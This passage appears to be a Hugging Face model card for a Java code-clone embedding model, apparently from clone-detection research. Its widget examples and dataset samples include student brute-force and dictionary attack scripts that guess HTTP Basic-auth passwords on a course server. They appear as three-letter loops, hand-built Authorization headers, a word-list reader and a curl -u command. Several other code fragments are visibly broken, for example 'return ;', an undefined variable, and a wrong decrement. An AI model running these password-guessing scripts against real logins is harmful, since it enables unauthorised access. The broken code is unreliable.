if (odd && bmin <= d && d <= bmax && bd[bdiagoff + d] <= fd[fdiagoff + d])
{
cost = 2 * c - 1;
return d;
}
}
if (bmin > dmin)
bd[bdiagoff + --bmin - 1] = Integer.MAX_VALUE;
else
++bmin;
if (bmax < dmax)
bd[bdiagoff + ++bmax + 1] = Integer.MAX_VALUE;
else
--bmax;
for (d = bmax; d >= bmin; d -= 2)
{
int x, y, oldx, tlo = bd[bdiagoff + d - 1], tly = bd[bdiagoff + d + 1];
if (tlo < ylim)
x = tlo;
else
x = - 1;
oldx = x;
y = x - d;
while (x > xoff && y > yoff && xv[x - 1] == yv[y - 1]) {
--x; --y;
}
if (oldx - x > 20)
big_snake = true;
bd[bdiagoff + d] = x;
if (!odd && fmin <= d && d <= fmax && bd[bdiagoff + d] <= fd[fdiagoff + d])
{
cost = 2 * c;
return d;
}
}
if (c > 200 && big_snake && heuristic)
{
int i = 0;
int bestpos = -1;
for (d = fmax; d >= fmin; d -= 2)
{
int dd = d - fmid;
if ((fd[fdiagoff + d] - xoff)*2 - dd > 12 * (c + (dd > 0 ? dd : -dd)))
{
if (fd[fdiagoff + d] * 2 - dd > i
&& fd[fdiagoff + d] - xoff > 20
&& fd[fdiagoff + d] - d - yoff > 20)
{
int k;
int x = fd[fdiagoff + d];
for (k = 1; k <= 20; k++)
if (xvec[x - k] != yvec[x - d - k])
break;
if (k == 21)
{
ylim = fd[fdiagoff + d] * 2 - dd;
bestpos = d;
}
}
}
}
if ( x> 0)
{
cost = 2 * c - 1;
return bestpos;
}
x= 0;
for (d = bmax; d >= bmin; d -= 2)
{
int dd = d - bmid;
if ((xlim - bd[bdiagoff + d])*2 + dd > 12 * (c + (dd > 0 ? dd : -dd)))
{
if ((xlim - bd[bdiagoff + d]) * 2 + dd > i
&& xlim - bd[bdiagoff + d] > 20
&& x - (bd[bdiagoff + d] - d) > 20)
{
int k;
int x = bd[bdiagoff + d];
for (k = 0; k < 20; k++)
if (xvec[x + k] != yvec[x - d + k])
break;
if (k == 20)
{
x = (xlim - bd[bdiagoff + d]) * 2 + dd;
bestpos = d;
}
}
}
}
if (x > 0)
{
cost = 2 * c - 1;
return bestpos;
}
}
}
}
private void compareseq (int xoff, int xlim, int yoff, int ylim) {
while (xoff < xlim && yoff < ylim && xvec[xoff] == yvec[yoff]) {
++xoff; ++yoff;
}
while (xlim > xoff && ylim > yoff && xvec[xlim - 1] == yvec[ ylim- 1]) {
--xlim; --x;
}
if (xoff == xlim)
while (yoff < ylim)
filevec[1].changed_flag[1+filevec[1].realindexes[yoff++]] = true;
else if (yoff == ylim)
while (xoff < xlim)
filevec[0].changed_flag[1+filevec[0].realindexes[xoff++]] = true;
else
{
int d = diag (xoff, xlim, yoff, ylim );
int c = cost;
int f = fdiag[fdiagoff + d];
int b = bdiag[bdiagoff + d];
if (c == 1)
{
throw new IllegalArgumentException("Empty subsequence");
}
else
{
compareseq (xoff, b, yoff, b - d);
compareseq (b, xlim, b - d,ylim );
}
}
}
private void discard_confusing_lines() {
filevec[0].discard_confusing_lines(filevec[1]);
filevec[1].discard_confusing_lines(filevec[0]);
}
private boolean inhibit = false;
private void shift_boundaries() {
if (inhibit)
return;
filevec[0].shift_boundaries(filevec[1]);
filevec[1].shift_boundaries(filevec[0]);
}
public interface ScriptBuilder {
public change build_script(
boolean[] changed0,int len0,
boolean[] changed1,int len1
);
}
static class ReverseScript implements ScriptBuilder {
public change build_script(
final boolean[] changed0,int len0,
final boolean[] changed1,int len1)
{
change script = null;
int i0 = 0, i1 = 0;
while (i0 < len0 || i1 < len1) {
if (changed0[1+i0] || changed1[1+i1]) {
int line0 = i0, line1 = i1;
while (changed0[1+i0]) ++i0;
while (changed1[1+i1]) ++i1;
script = new change(line0, line1, i0 - line0, i1 - line1, script);
}
i0++; i1++;
}
return script;
}
}
static class ForwardScript implements ScriptBuilder {
public change build_script(
final boolean[] changed0,int len0,
final boolean[] changed1,int len1)
{
change script = null;
int i0 = len0, i1 = len1;
while (i0 >= 0 || i1 >= 0)
{
if (changed0[i0] || changed1[i1])
{
int line0 = i0, line1 = i1;
while (changed0[i0]) --i0;
while (changed1[i1]) --i1;
script = new change(i0, i1, line0 - i0, line1 - i1, script);
}
i0--; i1--;
}
return script;
}
}
public final static ScriptBuilder
forwardScript = new ForwardScript(),
reverseScript = new ReverseScript();
public final change diff_2(final boolean reverse) {
return diff(reverse ? reverseScript : forwardScript);
}
public change diff(final ScriptBuilder bld) {
discard_confusing_lines ();
xvec = filevec[0].undiscarded;
yvec = filevec[1].undiscarded;
int diags =
filevec[0].nondiscarded_lines + filevec[1].nondiscarded_lines + 3;
fdiag = new int[diags];
fdiagoff = filevec[1].nondiscarded_lines + 1;
bdiag = new int[diags];
bdiagoff = filevec[1].nondiscarded_lines + 1;
compareseq (0, filevec[0].nondiscarded_lines,
0, filevec[1].nondiscarded_lines);
fdiag = null;
bdiag = null;
shift_boundaries ();
return bld.build_script(
filevec[0].changed_flag,
filevec[0].buffered_lines,
filevec[1].changed_flag,
filevec[1].buffered_lines
);
}
public static class change {
public int change ;
public final int inserted;
public final int deleted;
public final int line0;
public final int line1;
public change(int line0, int line1, int deleted, int inserted, change old) {
this.line0 = line0;
this.line1 = line1;
this.inserted = inserted;
this.deleted = deleted;
this.old = old;
}
}
class file_data {
void clear() {
changed_flag = new boolean[buffered_lines + 2];
}
int[] equivCount() {
int[] equiv_count = new int[equiv_max];
for (int i = 0; i < buffered_lines; ++i)
++equiv_count[equivs[i]];
return equiv_count;
}
void discard_confusing_lines(file_data f) {
clear();
final byte[] discarded = discardable(f.equivCount());
filterDiscards(discarded);
discard(discarded);
}
private byte[] discardable(final int[] counts) {
final int end = buffered_lines;
final byte[] discards = new byte[end];
final int[] equivs = this.equivs;
int many = 5;
int tem = end / 64;
while ((tem = tem >> 2) > 0)
many *= 2;
for (int i = 0; i < end; i++)
{
int nmatch;
if (equivs[i] == 0)
continue;
nmatch = counts[equivs[i]];
if (nmatch == 0)
discards[i] = 1;
else if (nmatch > many)
discards[i] = 2;
}
return discards;
}
private void filterDiscards(final byte[] discards) {
final int end = buffered_lines;
for (int i = 0; i < end; i++)
{
if (discards[i] == 2)
discards[i] = 0;
else if (discards[i] != 0)
{
int j;
int length;
int provisional = 0;
for (j = i; j < end; j++)
{
if (discards[j] == 0)
break;
if (discards[j] == 2)
++provisional;
}
while (j > i && discards[j - 1] == 2) {
discards[--j] = 0; --provisional;
}
length = j - i;
if (provisional * 4 > length)
{
while (j > i)
if (discards[--j] == 2)
discards[j] = 0;
}
else
{
int consec;
int minimum = 1;
int tem = length / 4;
while ((tem = tem >> 2) > 0)
minimum *= 2;
minimum++;
for (j = 0, consec = 0; j < length; j++)
if (discards[i + j] != 2)
consec = 0;
else if (minimum == ++consec)
j -= consec;
else if (minimum < consec)
discards[i + j] = 0;
for (j = 0, consec = 0; j < length; j++)
{
if (j >= 8 && discards[i + j] == 1)
break;
if (discards[i + j] == 2) {
consec = 0; discards[i + j] = 0;
}
else if (discards[i + j] == 0)
consec = 0;
else
consec++;
if (consec == 3)
break;
}
i += length - 1;
for (j = 0, consec = 0; j < length; j++)
{
if (j >= 8 && discards[i - j] == 1)
break;
if (discards[i - j] == 2) {
consec = 0; discards[i - j] = 0;
}
else if (discards[i - j] == 0)
consec = 0;
else
consec++;
if (consec == 3)
break;
}
}
}
}
}
private void discard(final byte[] discards) {
final int end = buffered_lines;
int j = 0;
for (int i = 0; i < end; ++i)
if (no_discards || discards[i] == 0)
{
undiscarded[j] = equivs[i];
realindexes[j++] = i;
}
else
changed_flag[1+i] = true;
nondiscarded_lines = j;
}
file_data(Object[] data,Hashtable h) {
buffered_lines = data.length;
equivs = new int[buffered_lines];
undiscarded = new int[buffered_lines];
realindexes = new int[buffered_lines];
for (int i = 0; i < data.length; ++i) {
Integer ir = (Integer)h.get(data[i]);
if (ir == null)
h.put(data[i],new Integer(equivs[i] = equiv_max++));
else
equivs[i] = ir.intValue();
}
}
void shift_boundaries(file_data f) {
final boolean[] changed = changed_flag;
final boolean[] other_changed = f.changed_flag;
int i = 0;
int j = 0;
int i_end = buffered_lines;
int preceding = -1;
int other_preceding = -1;
for (;;)
{
int start, end, other_start;
while (i < i_end && !changed[1+i])
{
while (other_changed[1+j++])
other_preceding = j;
i++;
}
if (i == i_end)
break;
start = i;
other_start = j;
for (;;)
{
while (i < i_end && changed[1+i]) i++;
end = i;
if (end != i_end
&& equivs[start] == equivs[end]
&& !other_changed[1+j]
&& end != i_end
&& !((preceding >= 0 && start == preceding)
|| (other_preceding >= 0
&& other_start == other_preceding)))
{
changed[1+end++] = true;
changed[1+start++] = false;
++i;
++j;
}
else
break;
}
preceding = i;
other_preceding = j;
}
}
final int buffered_lines;
private final int[] equivs;
final int[] undiscarded;
final int[] realindexes;
int nondiscarded_lines;
boolean[] changed_flag;
}
}
- |
package java.httputils;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.MalformedURLException;
import java.sql.Timestamp;
import java.util.Observable;
public class BruteForce extends Observable
{
protected Timestamp start;
protected Timestamp end;
protected String URL = "http://localhost:8080/secret/index.html";
protected String userName = "";
protected String content = "";
protected int attempts = 0;
protected String password;
protected String fileName;
public static final char[] letters =
{
'a',
'b',
'c',
'd',
'e',
'f',
'g',
'h',
'i',
'j',
'k',
'l',
'm',
'n',
'o',
'p',
'q',
'r',
's',
't',
'u',
'v',
'w',
'x',
'y',
'z',
'A',
'B',
'C',
'D',
'E',
'F',
'G',
'H',
'I',
'J',
'K',
'L',
'M',
'N',
'O',
'P',
'Q',
'R',
'S',
'T',
'U',
'V',
'W',
'X',
'Y',
'Z',
' '};
public BruteForce()
{
}
public void process()
{
StringBuffer password = new StringBuffer("aaa");
setStart(new Timestamp(System.currentTimeMillis()));
for (int i = 0;
i < letters.length - 1;
password.setCharAt(0, letters[i]), i++)
{
for (int i2 = 0;
i2 < letters.length;
password.setCharAt(1, letters[i2]), i2++)
{
for (int i3 = 0;
i3 < letters.length;
password.setCharAt(2, letters[i3]), i3++)
{
try
{
attempts++;
BasicAuthHttpRequest req =
new BasicAuthHttpRequest(
getURL(),
getUserName(),
password.toString().trim());
setPassword(password.toString());
setEnd(new Timestamp(System.currentTimeMillis()));
setContent(req.getContent().toString());
if (getFileName() != null && getFileName().length() > 0)
{
createReport();
}
return;
}
catch (MalformedURLException e)
{
e.printStackTrace();
return;
}
catch (IOException e)
{
}
}
}
}
setEnd(new Timestamp(System.currentTimeMillis()));
}
public void createReport()
{
OutputStream os = null;
try
{
os = new BufferedOutputStream(
new FileOutputStream(getFileName(), false));
os.write(printResult().getBytes());
}
catch (FileNotFoundException e)
{
e.printStackTrace();
}
catch (IOException e)
{
e.printStackTrace();
}
finally
{
if (os != null)
{
try
{
os.close();
}
catch (IOException e)
{
}
}
}
}
public String printResult()
{
StringBuffer s = new StringBuffer();
s.append("** " + this.getClass().getName() + " Results **\n\n");
s.append("Password: " + getPassword() + "\n\n");
s.append("Attempts : " + attempts + "\n\n");
s.append(
"Time (seconds): "
+ (getEnd().getTime() - getStart().getTime()) / 1000
+ "\n\n");
s.append("Content: \n" + getContent() + "\n\n");
return s.toString();
}
public String printUsage()
{
StringBuffer s = new StringBuffer();
s.append("** BruteForce proper usage **\n\n");
s.append(
"java ..httputils.BruteForce <URL> <UserName> <OutputFile - Optional>\n\n");
return s.toString();
}
public static void main(String[] args)
{
BruteForce bruteForce = new BruteForce();
if (args.length < 2)
{
System.out.println(bruteForce.printUsage());
}
else
{
bruteForce.setURL(args[0]);
bruteForce.setUserName(args[1]);
if (args.length > 2)
{
bruteForce.setFileName(args[2]);
}
bruteForce.process();
System.out.println(bruteForce.printResult());
}
}
public Timestamp getEnd()
{
return end;
}
public Timestamp getStart()
{
return ;
}
public void setEnd(Timestamp timestamp)
{
end = timestamp;
}
public void setStart(Timestamp timestamp)
{
time = timestamp;
}
public String getURL()
{
return URL;
}
public void setURL(String string)
{
URL = string;
}
public String getUserName()
{
return userName;
}
public void setUserName(String string)
{
userName = string;
}
public String getContent()
{
return content;
}
public void setContent(String string)
{
content = string;
}
public String getPassword()
{
return password;
}
public void setPassword(String string)
{
password = string;
}
public String getFileName()
{
return fileName;
}
public void setFileName(String string)
{
fileName = string;
}
}
- |
import java.io.*;
import java.*;
import java.net.*;
public class Dictionary
{
static BufferedReader in = null;
static MyAuthenticator Auth = new MyAuthenticator();
public static void main(String[] args) throws IOException
{
int tmp = 0;
String str ="";
Authenticator.setDefault(Auth);
try
{
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
while(tmp!=1)
{
try
{
in = new BufferedReader(new InputStreamReader(url.openStream()));
tmp=1;
}
catch (IOException e) {}
}
while ((str = in.readLine()) != null)
{
}
System.out.println("The successful Password found using a Dictionary search is = " + Auth.finalPass());
}
catch (MalformedURLException e)
{System.out.println("mfURL");}
}
}
class MyAuthenticator extends Authenticator
{
String username = "";
static String password = "";
static String DictFile = "/usr/share/lib/dict/words";
static BufferedReader fReader;
public MyAuthenticator()
{
try
{
fReader = new BufferedReader
(new FileReader(DictFile));
}
catch (FileNotFoundException e)
{
System.out.println("File " +DictFile+ " Not Found");
System.out.println(" File Opened");
System.exit(1);
}
catch (IOException e)
{
System.out.println("File Failed..");
System.exit(1);
}
}
static void setPass(String pswd)
{
password = pswd;
}
static String finalPass()
{
return password;
}
static String getPass()
{
try
{
if ((password = fReader.readLine()) == null)
{
System.out.println("Password Not found in file '" + DictFile +"'.");
System.exit(1);
}
}
catch (IOException ioe)
{
System.out.println("File IOException");
System.out.println(ioe);
}
return password;
}
protected PasswordAuthentication getPasswordAuthentication()
{
return new PasswordAuthentication(username, getPass().toCharArray());
}
}
- source_sentence: "\npublic class ImageFile\n{\n\tprivate String imageUrl;\n\tprivate int imageSize;\n\n\tpublic ImageFile(String url, int size)\n\t{\n\t\timageUrl=url;\n\t\timageSize=size;\n\t}\n\n\tpublic String getImageUrl()\n\t{\n\t\treturn imageUrl;\n\t}\n\n\tpublic int getImageSize()\n\t{\n\t\treturn imageSize;\n\t}\n}\n"
sentences:
- |-
import java.io.*;
import java.net.*;
public class BruteForce {
public static void main(String[] args) {
BruteForce brute=new BruteForce();
brute.start();
}
public void start() {
char passwd[]= new char[3];
String password;
String username="";
String auth_data;
String server_res_code;
String required_server_res_code="200";
int cntr=0;
try {
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection conn=null;
for (int i=65;i<=122;i++) {
if(i==91) { i=i+6; }
passwd[0]= (char) i;
for (int j=65;j<=122;j++) {
if(j==91) { j=j+6; }
passwd[1]=(char) j;
for (int k=65;k<=122;k++) {
if(k==91) { k=k+6; }
passwd[2]=(char) k;
password=new String(passwd);
password=password.trim();
auth_data=null;
auth_data=username + ":" + password;
auth_data=auth_data.trim();
auth_data=getBasicAuthData(auth_data);
auth_data=auth_data.trim();
conn=url.openConnection();
conn.setDoInput (true);
conn.setDoOutput(true);
conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");
conn.setRequestProperty ("Authorization", auth_data);
server_res_code=conn.getHeaderField(0);
server_res_code=server_res_code.substring(9,12);
server_res_code.trim();
cntr++;
System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code);
if( server_res_code.compareTo(required_server_res_code)==0 )
{System.out.println("PASSWORD IS : " + password + " SERVER RESPONSE : " + server_res_code );
i=j=k=123;}
}
}
}
}
catch (Exception e) {
System.err.print(e);
}
}
public String getBasicAuthData (String getauthdata) {
char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' } ;
String encodedString = "";
byte bytes [] = getauthdata.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return " " + encodedString;
}
}
- |
package java.httputils;
import java.io.IOException;
import java.net.MalformedURLException;
import java.sql.Timestamp;
public class RunnableBruteForce extends BruteForce implements Runnable
{
protected int rangeStart, rangeEnd;
protected boolean stop = false;
public RunnableBruteForce()
{
super();
}
public void run()
{
process();
}
public static void main(String[] args)
{
}
public int getRangeEnd()
{
return rangeEnd;
}
public int getRangeStart()
{
return rangeStart;
}
public void setRangeEnd(int i)
{
rangeEnd = i;
}
public void setRangeStart(int i)
{
rangeStart = i;
}
public boolean isStop()
{
return stop;
}
public void setStop(boolean b)
{
stop = b;
}
public void process()
{
String password = "";
System.out.println(Thread.currentThread().getName() +
"-> workload: " +
this.letters[getRangeStart()] + " " +
this.letters[getRangeEnd() - 1]);
setStart(new Timestamp(System.currentTimeMillis()));
for (int i = getRangeStart();
i < getRangeEnd();
i++)
{
System.out.println(Thread.currentThread().getName() +
"-> Trying words beginning with: " +
letters[i]);
for (int i2 = 0;
i2 < letters.length;
i2++)
{
for (int i3 = 0;
i3 < letters.length;
i3++)
{
if (isStop())
{
return;
}
try
{
char [] arr = new char [] {letters[i], letters[i2], letters[i3]};
String pwd = new String(arr);
if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad"))
{
System.out.println(Thread.currentThread().getName() +
"-> Trying password: " +
pwd);
}
attempts++;
BasicAuthHttpRequest req =
new BasicAuthHttpRequest(
getURL(),
getUserName(),
pwd);
System.out.println("Got the password");
setPassword(pwd);
setEnd(new Timestamp(System.currentTimeMillis()));
setContent(req.getContent().toString());
this.setChanged();
this.notifyObservers(this.getContent());
return;
}
catch (MalformedURLException e)
{
e.printStackTrace();
return;
}
catch (IOException e)
{
}
}
}
}
setEnd(new Timestamp(System.currentTimeMillis()));
}
}
- "\n\nclass WebPage\n{\n \n \n private boolean success = false;\n \n private String pageContents= \"\";\n \n\n\t\n public WebPage()\n {\n }\n \n\t\n public void setSuccess (boolean inSuccess)\n {\n success = inSuccess;\n }\n \n\t\n public boolean getSuccess()\n {\n return success;\n }\n \n\t\n public void setPageContents (String inPage)\n {\n pageContents = inPage;\n }\n \n\t\n public String getPageContents()\n {\n return pageContents;\n }\n} \n"
pipeline_tag: sentence-similarity
library_name: sentence-transformers
SentenceTransformer based on microsoft/unixcoder-base-unimodal
This is a sentence-transformers model finetuned from microsoft/unixcoder-base-unimodal. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: microsoft/unixcoder-base-unimodal
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-UniXcoder-ST")
# Run inference
sentences = [
'\npublic class ImageFile\n{\n\tprivate String imageUrl;\n\tprivate int imageSize;\n\n\tpublic ImageFile(String url, int size)\n\t{\n\t\timageUrl=url;\n\t\timageSize=size;\n\t}\n\n\tpublic String getImageUrl()\n\t{\n\t\treturn imageUrl;\n\t}\n\n\tpublic int getImageSize()\n\t{\n\t\treturn imageSize;\n\t}\n}\n',
'import java.io.*;\nimport java.net.*;\n\npublic class BruteForce {\n public static void main(String[] args) {\n BruteForce brute=new BruteForce();\n brute.start();\n\n\n }\n\n\npublic void start() {\nchar passwd[]= new char[3];\nString password;\nString username="";\nString auth_data;\nString server_res_code;\nString required_server_res_code="200";\nint cntr=0;\n\ntry {\n\nURL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\nURLConnection conn=null;\n\n\n for (int i=65;i<=122;i++) {\n if(i==91) { i=i+6; }\n passwd[0]= (char) i;\n\n for (int j=65;j<=122;j++) {\n if(j==91) { j=j+6; }\n passwd[1]=(char) j;\n\n for (int k=65;k<=122;k++) {\n if(k==91) { k=k+6; }\n passwd[2]=(char) k;\n password=new String(passwd);\n password=password.trim();\n auth_data=null;\n auth_data=username + ":" + password;\n auth_data=auth_data.trim();\n auth_data=getBasicAuthData(auth_data);\n auth_data=auth_data.trim();\n conn=url.openConnection();\n conn.setDoInput (true);\n conn.setDoOutput(true);\n conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");\n conn.setRequestProperty ("Authorization", auth_data);\n server_res_code=conn.getHeaderField(0);\n server_res_code=server_res_code.substring(9,12);\n server_res_code.trim();\n cntr++;\n System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code);\n if( server_res_code.compareTo(required_server_res_code)==0 )\n {System.out.println("PASSWORD IS : " + password + " SERVER RESPONSE : " + server_res_code );\n i=j=k=123;}\n }\n\n }\n\n }\n }\n catch (Exception e) {\n System.err.print(e);\n }\n }\n\npublic String getBasicAuthData (String getauthdata) {\n\nchar base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\' } ;\n\n String encodedString = "";\n byte bytes [] = getauthdata.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return " " + encodedString;\n }\n}',
'package java.httputils;\n\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class RunnableBruteForce extends BruteForce implements Runnable\n{\n protected int rangeStart, rangeEnd;\n protected boolean stop = false;\n \n public RunnableBruteForce()\n {\n super();\n }\n\n \n public void run()\n {\n process();\n }\n\n public static void main(String[] args)\n {\n }\n \n public int getRangeEnd()\n {\n return rangeEnd;\n }\n\n \n public int getRangeStart()\n {\n return rangeStart;\n }\n\n \n public void setRangeEnd(int i)\n {\n rangeEnd = i;\n }\n\n \n public void setRangeStart(int i)\n {\n rangeStart = i;\n }\n\n \n public boolean isStop()\n {\n return stop;\n }\n\n \n public void setStop(boolean b)\n {\n stop = b;\n }\n\n public void process()\n {\n String password = "";\n \n System.out.println(Thread.currentThread().getName() +\n "-> workload: " +\n this.letters[getRangeStart()] + " " +\n this.letters[getRangeEnd() - 1]);\n setStart(new Timestamp(System.currentTimeMillis()));\n\n for (int i = getRangeStart();\n i < getRangeEnd();\n i++)\n {\n System.out.println(Thread.currentThread().getName() +\n "-> Trying words beginning with: " +\n letters[i]);\n for (int i2 = 0;\n i2 < letters.length;\n i2++)\n {\n for (int i3 = 0;\n i3 < letters.length;\n i3++)\n {\n if (isStop())\n {\n return;\n }\n try\n {\n char [] arr = new char [] {letters[i], letters[i2], letters[i3]};\n String pwd = new String(arr);\n \n if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad"))\n {\n System.out.println(Thread.currentThread().getName() +\n "-> Trying password: " +\n pwd);\n }\n attempts++;\n\n BasicAuthHttpRequest req =\n new BasicAuthHttpRequest(\n getURL(),\n getUserName(),\n pwd);\n System.out.println("Got the password");\n setPassword(pwd);\n setEnd(new Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\n \n this.setChanged();\n this.notifyObservers(this.getContent());\n return;\n }\n catch (MalformedURLException e)\n {\n e.printStackTrace();\n return;\n }\n catch (IOException e)\n {\n\n }\n }\n }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Training Details
Training Dataset
Unnamed Dataset
- Size: 33,411 training samples
- Columns:
sentence_0,sentence_1, andlabel - Approximate statistics based on the first 1000 samples:
sentence_0 sentence_1 label type string string int details - min: 51 tokens
- mean: 449.02 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 464.04 tokens
- max: 512 tokens
- 0: ~99.80%
- 1: ~0.20%
- Samples:
sentence_0 sentence_1 label
import java.io.;
import java.net.;
public class BruteForce
{
public static void main(String args[]) throws IOException,
MalformedURLException
{
final String username = "";
final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";
String temppass;
String password = "";
URL url = new URL(fullurl);
boolean cracked = false;
String c[] = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O",
"P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d",
"e","f","g","h","i","j","k","l","m","n","o","p","q","r","s",
"t","u","v","w","x","y","z"};
startTime = System.currentTimeMillis();
for(int i = 0; i < 52 && !cracked; i++) {
temppass = c[i];
Authenticator.setDefault(new MyAuthenticator(username, temppass));
try{
BufferedReader r = ...
import java.net.;
import java.io.;
public class SendEMail {
public void SendEMail(){}
public void sendMail(String recipient,String c, String subject){
try {
Socket s = new Socket("yallara.cs.rmit.edu.", 25);
BufferedReader in = new BufferedReader
(new InputStreamReader(s.getInputStream(), "8859_1"));
BufferedWriter out = new BufferedWriter
(new OutputStreamWriter(s.getOutputStream(), "8859_1"));
send(in, out, "HELO theWorld");
send(in, out, "MAIL FROM: ");
send(in, out, "RCPT : "+recipient);
send(in, out, "DATA");
send(out, "Subject: "+ subject);
send(out, "From: WatchDog.java");
send (out, "\n");
BufferedReader reader;
String line;
reader = new BufferedReader(new InputStreamReader(new FileInputStream()));
line = reader.readLine();
while (line != null){
send(out, line);
line = reader.readLine();
}
send...0import java.util.;
import java.net.;
import java.io.*;
public class Dictionary
{
boolean connected = false;
int counter;
Vector words = new Vector();
Dictionary()
{
counter = 0;
this.readWords();
this.startAttack();
}
public void startAttack()
{
while(counter {
connected = sendRequest();
if(connected == true)
{
System.out.print("The password is: ");
System.out.println((String)words.elementAt(counter-1));
counter = words.size();
}
}
}
public void readWords()
{
String line;
try
{
BufferedReader buffer = new BufferedReader(
new FileReader("/usr/share/lib/dict/words"));
line = buffer.readLine();
while(line != null)
{
if(line.length() <= 3)
...
import java.io.;
import java.net.;
import java.net.URL;
import java.net.URLConnection;
import java.util.*;
public class BruteForce {
public static void main(String[] args) throws IOException {
int start , end, total;
start = System.currentTimeMillis();
String username = "";
String password = null;
String host = "http://sec-crack.cs.rmit.edu./SEC/2/";
String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int lettersLen = letters.length();
int passwordLen=3;
int passwords=0;
int twoChar=0;
url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();
String authenticate = "";
String realm = null, domain = null, hostname = null;
header = null;
int responseCode;
String responseMsg;
int temp1=0;
int temp2=0;
int temp3=0;
for (int a=...0
public class SMTPException extends Exception {
private String msg;
public SMTPException(String message) {
msg = message;
}
public String getMessage() {
return msg;
}
}
import java.net.;
import java.io.;
import java.;
import java.util.;
public class Dictionary {
private static String commandLine = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
private String password;
private String previous;
private String url;
private int startTime;
private int endTime;
private int totalTime;
